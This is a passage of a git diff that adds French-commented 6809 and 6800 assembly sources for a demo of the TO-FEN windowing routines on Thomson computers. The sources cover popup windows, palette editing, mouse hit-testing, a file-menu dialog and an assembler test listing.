+XFICH  EQU    *
+       JSR    MENFIC
+       LBNE   EXEC1     ->
+       LBRA   MENU0     ->
+
+*   Quitter
+*---------------------------------------
+QUIPHO EQU    *
+       LBSR   FENCH
+       LBSR   FENIVD
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDD    REGY      a cause clou !
+       CMPD   #32
+       BGE    QUIPH0    ->
+       ADDD   #32
+       STD    REGY
+QUIPH0 LDA    #10
+       LDB    #22
+       JSR    POPUP
+       LBSR   TBREAK
+       BCS    FINGR     ->
+       LDB    #$51
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   MENU0     ->
+
+*      Nettoyages divers
+*---------------------------------------
+
+*      Fenêtrage
+FINGR  JSR    FENFIN
+
+*      Attributs de visu.
+       LDB    #ESC    40 col
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+
+       CLRA             restaure palette
+       COMA
+       LDX    #TMEMO    (éventuellement
+*                        modifiée par
+       JSR    SETP       appli.)
+
+       JMP    MENU    ->>>>>>>
+
+
+*=======================================
+* S/P FEN avec mémo des param en pseudo
+*     registre
+*=======================================
+
+FENPOP PSHS   U
+       LDU    #PILFEN   mémo retour FEN
+       JSR    FEN
+       PSHU   CC,D,X,Y
+       PULS   U,PC      ->>
+
+
+*=======================================
+* S/P préparation d'une ouverture de
+*     fenètre en pop up
+*
+* Entrée: A : hauteur cadre
+*         B : largeur cadre
+* Sortie: A : coord vert.
+*         B : coord horz.
+*=======================================
+
+POPUP  PSHS   D
+       LEAS   -2,S
+MAXH   SET    0
+MAXL   SET    1
+PA     SET    2
+PB     SET    3
+*---------------------------------------
+
+       LDA    #24
+       SUBA   PA,S
+       STA    MAXH,S
+       LDA    #39
+       SUBA   PB,S
+       STA    MAXL,S
+
+       LDB    REGY+1
+       LSRB
+       LSRB
+       LSRB
+       LDA    MAXH,S
+       CMPB   MAXH,S
+       BLE    POPUP0    ->
+       TFR    A,B
+POPUP0 STB    PA,S
+       LDD    REGX
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    MAXL,S
+       CMPB   MAXL,S
+       BLE    POPUP1    ->
+       TFR    A,B
+POPUP1 STB    PB,S
+
+       TST    PA,S
+       BNE    POPUP2    ->
+       INC    PA,S
+POPUP2 TST    PB,S
+       BNE    POPUP3    ->
+       INC    PB,S
+POPUP3 LEAS   2,S
+       PULS   D,PC      ->>
diff --git a/code/3rdparty/sources1-hmel/DEMO-SP.ASM b/code/3rdparty/sources1-hmel/DEMO-SP.ASM
new file mode 100644
index 0000000..092c533
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-SP.ASM
@@ -0,0 +1,72 @@
+       TITLE  TO-DEMO:S/P
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*            S/P                       *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P test de localisation de la souris
+*     dans un carreau
+* Entrée: XH  rangée  début   ]
+*         XL  colonne début   du carreau
+*         YH  hauteur         ]
+*         YL  largeur         ]
+* Sortie: CY 1 souris dans le carreau
+*            0 ... en dehors
+*=======================================
+
+SOUROK PSHS   D,X,Y,U
+       LEAS   -5,S
+HORDOT SET    0
+VERDOT SET    2
+MULTH  SET    4
+PA     SET    5
+PB     SET    6
+PXH    SET    7
+PXL    SET    8
+PYH    SET    9
+PYL    SET    10
+*---------------------------------------
+
+       LDB    #8        coef de * horiz
+       LDA    SCRMOD
+       CMPA   #$40
+       BNE    RGMU      ->
+       LDB    #4        bit map 16
+RGMU   STB    MULTH,S
+
+       LDA    #8
+       LDB    PXH,S
+       MUL
+       STD    HORDOT,S
+       CMPD   REGY
+       BGT    SELDN     hors haut ->
+       LDA    MULTH,S
+       LDB    PXL,S
+       MUL
+       STD    VERDOT,S
+       CMPD   REGX
+       BGT    SELDN     hors gauche ->
+       LDA    #8
+       LDB    PYH,S
+       MUL
+       ADDD   HORDOT,S
+       CMPD   REGY
+       BLE    SELDN     hors bas ->
+       LDA    MULTH,S
+       LDB    PYL,S
+       MUL
+       ADDD   VERDOT,S
+       CMPD   REGX
+       BLE    SELDN     hors droit ->
+       ORCC   #$01      dedans
+       BRA    SELDF     ->
+SELDN  ANDCC  #$FE      hors
+
+SELDF  LEAS   5,S
+       PULS   D,X,Y,U,PC
diff --git a/code/3rdparty/sources1-hmel/DEMO-TR.ASM b/code/3rdparty/sources1-hmel/DEMO-TR.ASM
new file mode 100644
index 0000000..216f848
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-TR.ASM
@@ -0,0 +1,741 @@
+       TITLE  TO-DEMO:Traitements
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           Traitements                *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P fenetre de demo
+*     permet de modifier la palette et
+*     la couleur de tour via des
+*     poussoirs 'zone'
+*     De choisir un mode vidéo via un
+*     poussoir 'zone' redéfini
+*     (bidon !)
+*     d'utiliser des poussoirs 'balise'
+*     de manipuler des inverseurs
+*     'zone' et 'balise'
+*=======================================
+
+XXDEMO EQU    *
+       LEAS   -39,S
+PBLEU  SET    0
+PVERT  SET    1
+PROUGE SET    2
+NOPAL  SET    3
+MTOUR  SET    4
+MMODE  SET    5
+MPAL   SET    7       32 octets palette
+*---------------------------------------
+
+       LDX    #FENINF
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+       LDA    TOUR
+       STA    MTOUR,S
+
+       LDA    #16
+       LDX    #PALETE
+       LEAY   MPAL,S
+LIPAI  LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    LIPAI     ->
+
+       LDB    MODVID
+       STB    MMODE,S
+       LDX    #TMNGR
+BAFMV  LDA    ,X
+       CMPA   #$FF
+       BEQ    PERMO    pas trouve ->
+       CMPA   MMODE,S
+       BEQ    POKMO    ->
+       LEAX   17,X
+       BRA    BAFMV    ->
+PERMO  LDX    #TMNGR
+POKMO  STX    MMODE,S
+
+* Initialisation des parametres dynami
+* ques de la fenetre
+
+       CLR    NOPAL,S
+EXCI00 LEAX   MPAL,S
+       LDA    NOPAL,S
+       LSLA
+       LEAX   A,X
+       LDA    ,X
+       ANDA   #$0F
+       STA    PBLEU,S
+       LDA    1,X
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       STA    PVERT,S
+       LDA    1,X
+       ANDA   #$0F
+       STA    PROUGE,S
+
+EXECI0 JSR    FENDES
+       LDB    #$5A     coul palette
+       JSR    FENCH
+       CLRA
+       LDB    NOPAL,S
+       LDX    #BUF
+       LDY    #2
+       JSR    BINDCD
+       JSR    FENEDI
+
+       LDA    PBLEU,S
+       LDB    PVERT,S
+       LSLB
+       LSLB
+       LSLB
+       LSLB
+       ORB    PROUGE,S
+       TFR    D,Y
+       LEAX   MPAL,S
+       LDA    NOPAL,S
+       LSLA
+       STY    A,X
+       PSHS   Y
+       LDA    #ORANGE utilisé pour visu
+       LDX    #0      temporaire couleur
+       JSR    SETP    sélectionnée
+
+       LDB    #$48     hexa palette
+       JSR    FENCH
+       LDX    #BUF
+       PULS   D
+       JSR    BINHX2
+       LDX    #BUF
+       LDB    1,X
+       JSR    FENPUT
+       LDB    #HT
+       JSR    FENPUT
+       LDB    2,X
+       JSR    FENPUT
+       LDB    #HT
+       JSR    FENPUT
+       LDB    3,X
+       JSR    FENPUT
+
+       LEAX   MPAL,S  coul tour
+       LDA    MTOUR,S
+       LSLA
+       LDY    A,X
+       LDA    #PARME  utilisé pour visu
+       LDX    #0      temporaire couleur
+       JSR    SETP    tour
+       LDB    #$59
+       JSR    FENCH
+       CLRA
+       LDB    MTOUR,S
+       LDX    #BUF
+       LDY    #2
+       JSR    BINDCD
+       JSR    FENEDI
+
+       LDB    #$4D     mode vidéo
+       JSR    FENCH
+       LDX    MMODE,S
+       LEAX   2,X
+       JSR    FENEDI
+
+EXECI1 JSR    FENACT
+
+EXECI2 JSR    FENPOP
+       TSTB
+       BEQ    EXECI2    ->
+       CMPB   #'T       +Tour
+       LBEQ   XIPLT     ->
+       CMPB   #'U       -Tour
+       LBEQ   XIMNT     ->
+       CMPB   #'P       +Palette
+       LBEQ   XIPLP     ->
+       CMPB   #'Q       -Palette
+       LBEQ   XIMNP     ->
+       CMPB   #'B       +Bleu
+       LBEQ   XIPLB     ->
+       CMPB   #'C       -Bleu
+       LBEQ   XIMNB     ->
+       CMPB   #'V       +Vert
+       LBEQ   XIPLV     ->
+       CMPB   #'W       -Vert
+       LBEQ   XIMNV     ->
+       CMPB   #'R       +Rouge
+       LBEQ   XIPLR     ->
+       CMPB   #'S       -Rouge
+       LBEQ   XIMNR     ->
+       CMPB   #'M       Mode
+       LBEQ   XIMOD     ->
+
+       CMPB   #RC
+       LBEQ   XIRC      ->
+       CMPB   #FF       RAZ
+       LBEQ   XIRET     ->
+       LBRA   EXECI2    ->
+
+*** mode
+XIMOD  EQU    *
+       LDX    MMODE,S
+       LEAX   17,X
+       STX    MMODE,S
+       LDA    ,X
+       CMPA   #$FF
+       LBNE   EXECI0    ->
+       LDX    #TMNGR
+       STX    MMODE,S
+       LBRA   EXECI0    ->
+
+*** + tour
+XIPLT  EQU    *
+       INC    MTOUR,S
+       LDA    MTOUR,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    MTOUR,S
+       LBRA   EXECI0    ->
+
+*** - tour
+XIMNT  EQU    *
+       DEC    MTOUR,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    MTOUR,S
+       LBRA   EXECI0    ->
+
+*** + palette
+XIPLP  EQU    *
+       INC    NOPAL,S
+       LDA    NOPAL,S
+       CMPA   #16
+       LBLT   EXCI00    ->
+       CLR    NOPAL,S
+       LBRA   EXCI00    ->
+
+*** - palette
+XIMNP  EQU    *
+       DEC    NOPAL,S
+       LBGE   EXCI00    ->
+       LDA    #15
+       STA    NOPAL,S
+       LBRA   EXCI00    ->
+
+*** + bleu
+XIPLB  EQU    *
+       INC    PBLEU,S
+       LDA    PBLEU,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PBLEU,S
+       LBRA   EXECI0    ->
+
+*** -bleu
+XIMNB  EQU    *
+       DEC    PBLEU,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PBLEU,S
+       LBRA   EXECI0    ->
+
+*** + vert
+XIPLV  EQU    *
+       INC    PVERT,S
+       LDA    PVERT,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PVERT,S
+       LBRA   EXECI0    ->
+
+*** - vert
+XIMNV  EQU    *
+       DEC    PVERT,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PVERT,S
+       LBRA   EXECI0    ->
+
+*** + rouge
+XIPLR  EQU    *
+       INC    PROUGE,S
+       LDA    PROUGE,S
+       CMPA   #16
+       LBLT   EXECI0    ->
+       CLR    PROUGE,S
+       LBRA   EXECI0    ->
+
+*** - rouge
+XIMNR  EQU    *
+       DEC    PROUGE,S
+       LBGE   EXECI0    ->
+       LDA    #15
+       STA    PROUGE,S
+       LBRA   EXECI0    ->
+
+*** validation
+XIRC   EQU    *
+       LDA    MTOUR,S   tour
+       STA    TOUR
+
+       LDA    #16
+       LEAX   MPAL,S
+       LDY    #PALETE
+ECPAI1 LDU    ,X++
+       STU    ,Y++
+       DECA
+       BNE    ECPAI1    ->
+
+       LDA    #PARME
+       LDX    #0
+       LDY    PALDEF+26
+       JSR    SETP
+
+       LDA    #ORANGE
+       LDX    #0
+       LDY    PALDEF+30
+       JSR    SETP
+
+       LDB    #1
+       JSR    FENFER
+       JSR    FENACT
+       LDB    #$FF
+       LEAS   39,S
+       RTS              ->>
+
+* Fin menu info video
+*---------------------------------------
+
+XIRET  CLRB
+       JSR    FENFER
+       LDA    #ORANGE
+       LDX    #0
+       LDY    PALDEF+30
+       JSR    SETP
+       LDA    #PARME
+       LDX    #0
+       LDY    PALDEF+26
+       JSR    SETP
+       JSR    FENACT
+       CLRB
+       LEAS   39,S
+       RTS
+
+
+*=======================================
+* S/P fenetre de demo des possibilités
+*     de saisie.
+*     Défini trois champ de saisie de
+*     types différents et un inverseur
+*     Sur appuis d'un pouusoir, rend la
+*     valeur lue dans ce champ
+*     NB: les procédures de conversion
+*     sont fournies pour récupérer des
+*     valeurs binaires à partir des
+*     chaines de texte lues.
+*=======================================
+
+XXGRIL EQU    *
+*---------------------------------------
+
+       LDX    #FENDEM
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+EXECD1 JSR    FENACT
+
+EXECD2 JSR    FENPOP
+       TSTB
+       BEQ    EXECD2    ->
+       CMPB   #134      visu texte
+       LBEQ   XDTXT     ->
+       CMPB   #135      visu hexa
+       LBEQ   XDHEX     ->
+       CMPB   #136      visu décim.
+       LBEQ   XDDEC     ->
+       CMPB   #137      visu invers
+       LBEQ   XDINV     ->
+
+       CMPB   #FF       RAZ
+       LBEQ   XDRET     ->
+       LBRA   EXECD2    ->
+
+*** visu inverseur
+XDINV  EQU    *
+       LDB    #133      invers. à lire
+       JSR    FENCH
+       LDA    VAL,X
+       LDX    #MON
+       CMPA   #ON
+       BEQ    XDAFF
+       LDX    #MOFF
+       BRA    XDAFF     ->
+
+*** visu champ texte
+XDTXT  EQU    *
+       LDB    #130      champ à lire
+       BRA    XDVIS     ->
+
+*** visu champ hexa
+XDHEX  EQU    *
+       LDB    #131      champ à lire
+       BRA    XDVIS     ->
+
+*** visu champ décimal
+XDDEC  EQU    *
+       LDB    #132      champ à lire
+
+*** lecture et visu des champs
+XDVIS  LDX    #BUF      lecture champ
+       CLR    BUF
+       JSR    FENLCZ
+
+XDAFF  PSHS   X
+       JSR    FENDES    car sinon les
+*      réactivation faites dans FENCH ..
+*      entrainent un repositionnement
+*      sur la première zone de saisie !
+       LDB    #140      visu résultat
+       JSR    FENCH
+       JSR    FENFON    efface
+       PULS   X
+       JSR    FENEDI
+       LBRA   EXECD1    ->
+
+* Fin menu démo grille saisie
+*---------------------------------------
+
+XDRET  CLRB
+       JSR    FENFER
+       JSR    FENACT
+       CLRB
+       RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*=======================================
+
+MENFIC EQU    *
+       LEAS   -2,S
+MANO   SET    0
+*---------------------------------------
+
+       LDX    #FENFIC
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+EXECF0 LDB    #ESC
+       JSR    PUTC
+       LDB    #$4D
+       JSR    PUTC
+       LDB    #BLANC
+       JSR    FENCF
+       LDD    #$0211   Disque courant
+       LDY    #$0201
+       JSR    FENLOF
+       LDB    DKDRV
+       ADDB   #$30
+       JSR    PUTC
+       LDB    #TRANSP
+       JSR    FENCF
+       LDB    #ESC
+       JSR    PUTC
+       LDB    #$4C
+       JSR    PUTC
+
+EXECF1 JSR    FENACT
+
+
+EXECF2 JSR    FENPOP
+       TSTB
+       BEQ    EXECF2    ->
+       CMPB   #'P
+       LBEQ   XFUNIT    ->
+       CMPB   #'I
+       LBEQ   XFINIT    ->
+       CMPB   #'C
+       LBEQ   XFCATA    ->
+       CMPB   #'R
+       LBEQ   XFRENO    ->
+       CMPB   #'S
+       LBEQ   XFSUPR    ->
+       CMPB   #'D
+       LBEQ   XFDUPL    ->
+       CMPB   #'L
+       LBEQ   XFLIRE    ->
+       CMPB   #'E
+       LBEQ   XFECRI    ->
+       CMPB   #FF       RAZ
+       LBEQ   XFRET     ->
+       LBRA   EXECF2    ->
+
+*** Préciser unité
+XFUNIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDA    #11
+       LDB    #24
+       LBSR   POPUP
+       JSR    FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #$FFFF
+       LBSR   DOSSEL
+       CLRB
+       LBSR   FENFER
+       LDB    #$50      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF0    ->
+
+*** Initialiser
+XFINIT EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDA    #15
+       LDB    #24
+       LBSR   POPUP
+       JSR    FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSINI
+       CLRB
+       LBSR   FENFER
+       LDB    #$49      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Catalogue
+XFCATA EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0200
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSCAT
+       CLRB
+       LBSR   FENFER
+       LDB    #$43      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Renommer fichier
+XFRENO EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSREN
+       CLRB
+       LBSR   FENFER
+       LDB    #$52      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Supprimer fichier
+XFSUPR EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSSUP
+       CLRB
+       LBSR   FENFER
+       LDB    #$53      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Dupliquer fichier
+XFDUPL EQU    *
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+       LDX    #FENVID   Sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LBSR   DOSDUP
+       CLRB
+       LBSR   FENFER
+       LDB    #$44      Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Lire fichier
+XFLIRE EQU    *
+* Ce qui suit pour que le poussoir
+* soit inversé pendant une phase de
+* traitement qui peut être longue
+
+       LBSR   FENCH     Inverser pouss.
+       LBSR   FENIVD
+
+* La saisie du fichier s'opère grace
+* au DOS iconique 'enveloppé' dans TO-FE
+* pour pouvoir revenir au menu déroulant
+* il faut ouvrir une fenêtre vide à
+* laquelle sera ajoutée la fenêtre de
+* saisie !!!
+
+       LDX    #FILNAM   filtre .ASM
+XLIRZ  CLR    ,X+
+       CMPX   #FILNAM+8
+       BNE    XLIRZ     ->
+       LDA    #'A
+       LDB    #'S
+       STD    ,X++
+       LDA    #'M
+       STA    ,X+
+       LDX    #FENVID   sélection
+       LDD    #$0500
+       LBSR   FENOUV
+       LDA    #BKMANO   manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MLIRE
+       LBSR   DOSFIL
+       LBEQ   XLIRZ9    RAZ    ->
+       LBCS   XLIRZ9    erreur ->
+
+       LDX    #FILNAM   fich cour.
+       LDY    #DESCOU
+BMEMFC LDA    ,X+
+       STA    ,Y+
+       CMPX   #FILNAM+8
+       BNE    BMEMFC    ->
+
+* On simule ici la lecture d'un fichier
+* à afficher à l'écran... pour cela, il
+* faut fermer toutes les fenêtres (2 niv
+* -eaux puis remonter également de deux
+* niveaux pour les procédures de dialo-
+* -gue.
+
+CPNOF  LDB    #2
+       JSR    FENFER
+
+       JSR    FENACT
+       LEAS   2,S
+       LDB    #$FF
+       RTS              ->>
+
+XLIRZ9 CLRB
+       LBSR   FENFER
+
+* Le poussoir redevient normal
+
+       LDB    #'L       Inverser pouss.
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   EXECF1    ->
+
+*** Ecrire fichier
+XFECRI EQU    *
+       JSR    FENCH
+       JSR    FENIVD
+
+       LDX    #FENVID   Sélection
+       LDD    #$0505
+       LBSR   FENOUV
+
+       LDY    #FILNAM   nom défaut
+       LDX    #DESCOU
+       LDA    #8
+ECAL0  LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL0     ->
+       LDA    #'A
+       LDB    #'S
+       STD    ,Y++
+       LDA    #'M
+       STA    ,Y+
+
+       LDX    #MCOMAL  commentaire
+       LDA    #8
+ECAL00 LDB    ,X+
+       STB    ,Y+
+       DECA
+       BNE    ECAL00    ->
+
+       LDA    #BKMANO
+       STA    BANKC
+       LDX    #ZONTRA
+       LDY    #LGZTRA
+       LDU    #MVFICH
+       LBSR   DOSCZI
+       LBEQ   XFCRFF    RAZ    ->
+       LBCS   XFCRFF    erreur ->
+
+       LDD    #$0309    vérifier non
+       LBSR   FENLOF    existence
+       JSR    DOSTST
+       LBCS   XFCRFF    existe ->
+
+* Ici on simule le retour au fond pour
+* pouvoir par exemple coder l'image
+* avant de l'écrire !
+
+       LDB    #2
+       JSR    FENFER
+
+       JSR    FENACT
+       LEAS   2,S
+       LDB    #$FF
+       RTS              ->>
+
+XFCRFF CLRB
+       JSR    FENFER
+
+XFECRF LDB    #'E
+       JSR    FENCH
+       JSR    FENIVD
+       LBRA   EXECF1    ->
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRET  CLRB
+       JSR    FENFER
+       JSR    FENACT
+       CLRB
+       LEAS   2,S
+       RTS
diff --git a/code/3rdparty/sources1-hmel/DEMO.ASM b/code/3rdparty/sources1-hmel/DEMO.ASM
new file mode 100644
index 0000000..9a4f797
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO.ASM
@@ -0,0 +1,212 @@
+       TITLE  TO-DEMO:
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*  Démonstration de l'utilisation des  *
+*          routines TO-FEN             *
+*                                      *
+*  Création du squelette d'une applica *
+*  tion .CHG de 32ko                   *
+*                                      *
+****************************************
+*                                      *
+* Sources:                             *
+*                                      *
+*   FEN-EQU.ASM Equates du fenêtrage   *
+*   DEMO-EQ.ASM Equates                *
+*   DEMO-CN.ASM Constantes             *
+*   DEMO-B1.ASM Traitement BANK 1      *
+*   DEMO-TR.ASM Traitements            *
+*   DEMO-SP.ASM Gestion S/P            *
+*   DEMO-PR.ASM Programme principal    *
+*   DEMO   .ASM Structure              *
+*                                      *
+****************************************
+*                                      *
+* Exécutable destiné à être chargé en  *
+* aplication avec le module de         *
+* fenêtrage FEN.BIN                    *
+*                                      *
+****************************************
+*                                      *
+*  Carte mémoire:                      *
+*                                      *
+** Banks RAM cartouche                 *
+*                                      *
+* No 1   : Soft, constantes et données *
+*          pseudo statique (motifs...) *
+* No 2   : En $1800, S/P de fenêtrage  *
+*                                      *
+** Banks données :                     *
+*                                      *
+* bank 2 : Manoeuvre                   *
+* bank 3                               *
+*   .. 6 : Pile des fenêtres           *
+*          (moins ou plus selon les    *
+*           niveaux d'empilement max.  *
+* bank 7                               *
+*   ...  : Pour application !!!        *
+*                                      *
+** RAM "en ligne"                      *
+*                                      *
+* $0000..$3FFF: Soft, constantes et    *
+*               données pseudo stati-  *
+*               ques (cartouche)       *
+* $6000..$62FF: RAM moniteur/extramon  *
+* $6300..$67FF: Pile (#1ko)            *
+* $6800..$6FFF: RAM appli. non commut. *
+*               (#2ko)                 *
+* $7000..$77FF: Zones DOS 5 dsk 2fic.  *
+* $7800..$9FFF: Copie active des S/P   *
+*               de fenêtrage (10ko)    *
+*               pour que les S/P de    *
+*               fenetrage puissent etre*
+*               appelés à partir de    *
+*               les banks de l'appli ! *
+* $A000..$DFFF: Manoeuvre sur les bank *
+*               de donnée              *
+*                                      *
+****************************************
+* PRODUCTION:                          *
+****************************************
+*                                      *
+*   Sous 6809 ASM                      *
+*                                      *
+*     - L DEMO (deja fait si vous lisez*
+*     - A DEMO (/NL/NS si sup listing) *
+*                                      *
+*   Sous CR-APPLI:                     *
+*                                      *
+*     - Charger DEMO.BIN (base $0000)  *
+*     - Charger FEN.BIN   (base $5800) *
+*     - Créer TO-DEMO.CHG              *
+*                                      *
+****************************************
+
+* Definition de l'implantation finale
+* des sous-programmes de TO-FEN
+
+BASEF  EQU    $7800    implant. soft
+*                      fenêtrage !!!
+
+       INCLUD FEN-EQU  équates FEN
+
+       INCLUD DEMO-EQ
+
+* Page 0 dee l'application
+       SETDP  PAGE0/256
+
+****************************************
+
+
+*
+* Cartouche No 1
+* L'en-tete (34oc)sera cree par CR-APPLI
+* L'assemblage se fait selon l'adressage
+* réel $0000-$3FFF
+* L'appel d'un S/P du bank 1 se fait par
+*    JSR   adr    ou par
+*    LBSR  adr
+* L'appel d'un S/P du bank 2 se fait par
+*    LDU   #adr.S/P (fourni par ASM)
+*    JSR   COMBK2   (ou LBSR ...)
+* L'appel d'un S/P moniteur se fait par
+*    JSR   adr    ou par
+*    LBSR  adr
+*---------------------------------------
+
+       ORG    $22
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC    >$E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    >$E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+       DEC    >$E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    >$E7E6
+       PULS   CC
+       RTS
+
+**** Code du premier bank **************
+
+       INCLUD DEMO-CN
+
+       INCLUD DEMO-TR
+
+       INCLUD DEMO-SP
+
+****************************************
+
+       INCLUD DEMO-PR
+
+****************************************
+
+
+*
+* En tête cartouche No 2
+* L'en-tete (34oc)sera cree par CR-APPLI
+* L'assemblage se fait selon l'adressage
+* simulé $4000-$7FFF au lieu de
+*        $0000-$3FFF
+* L'appel d'un S/P du bank 2 se fait par
+*    LBSR  adr
+* L'appel d'un S/P du bank 1 se fait par
+*    LDU   #adr.S/P (fourni par ASM)
+*    LBSR  COMBK2
+* L'appel d'un S/P moniteur se fait par
+*    JSR   adr
+*---------------------------------------
+
+       ORG    $4022
+
+       LBRA   DEBUT     ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+       INC    >$E7E6
+       LEAU   -$4000,U
+       JSR    ,U
+       PSHS   CC
+       DEC    >$E7E6
+       PULS   CC
+       RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC    >$E7E6
+       JSR    ,U
+       PSHS   CC
+       INC    >$E7E6
+       PULS   CC
+       RTS
+
+
+**** Code du deuxieme bank *************
+
+
+       INCLUD DEMO-B1
+
+       END
diff --git a/code/3rdparty/sources1-hmel/ESS6800.ASM b/code/3rdparty/sources1-hmel/ESS6800.ASM
new file mode 100644
index 0000000..1a960c1
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6800.ASM
@@ -0,0 +1,223 @@
+****************************************
+*                                      *
+*  Essai de l'assembleur croisé 6800   *
+*                                      *
+****************************************
+
+       TITLE  ESSAIASM6800
+
+LED    EQU    3       bit commande led
+SWITCH EQU    7       bit interrupteur
+PORTB  EQU    $0001
+PORTF  EQU    $ABCD
+FLG    SET    50
+
+       ORG    $0010   ram
+
+MEMPT  RMB    2
+VAR    RMB    1
+
+       PAGE
+       ORG    $0080   rom
+
+CNST1  FCB    10
+CNST2  FDB    $1234
+MESS   FCC    'SALUTOHBRICOLEUR'
+*      INCLUD FILE    include mis en
+*                     commentaire !!
+
+
+* Assemblage type 0
+*
+*   adressage inherent
+*---------------------------------------
+
+T0     ABA
+       CLRA
+       CLRB
+       CBA
+       COMA
+       COMB
+       NEGA
+       NEGB
+       DAA
+       DECA
+       DECB
+       INCA
+       INCB
+       PSHA
+       PSHB
+       PULA
+       PULB
+       ROLA
+       ROLB
+       RORA
+       RORB
+       ASLA
+       ASLB
+       ASRA
+       ASRB
+       LSRA
+       LSRB
+       LSLA           *
+       LSLB           *
+       SBA
+       TAB
+       TBA
+       TSTA
+       TSTB
+       DEX
+       DECX           *
+       DES
+       DECS           *
+       INX
+       INCX           *
+       INS
+       INCS           *
+       TXS
+       TSX
+       NOP
+       RTI
+       RTS
+       SWI
+       WAI
+       WAIT           *
+       CLC
+       CLI
+       CLV
+       SEC
+       SEI
+       SEV
+       TAP
+       TPA
+
+
+* Assemblage type 1
+*
+*   adressage PC relatif -128..+127
+*
+*   BRA   LABEL
+*   BRA   LABEL+1
+*   BRA   *+25
+*---------------------------------------
+
+T1     BRA    *
+       BCC    T10
+       BCS    T1
+       BEQ    *
+       BGE    *
+       BGT    *
+       BHI    *
+       BLE    *
+       BLS    *
+       BLT    *
+       BMI    *
+       BNE    *
+       BVC    *
+       BVS    *
+       BPL    *
+T10    BSR    *
+
+
+* Assemblage type 2
+*
+*   CLR [<]<exp. 8 bits>,X indexe offset
+*                          sur 8 bits
+*   CLR [>]<exp.16 bits>
+*---------------------------------------
+
+T2     CLR    VAR,X
+       CLR    <VAR,X
+       CLR    VAR
+       CLR    >VAR
+       COM    VAR
+       NEG    VAR
+       DEC    VAR
+       INC    VAR
+       ROL    VAR
+       ROR    VAR
+       ASL    VAR
+       ASR    VAR
+       LSR    VAR
+       LSL    VAR     *
+       TST    VAR
+       JMP    PORTF
+       JSR    T1
+
+
+* Assemblage type 3
+*
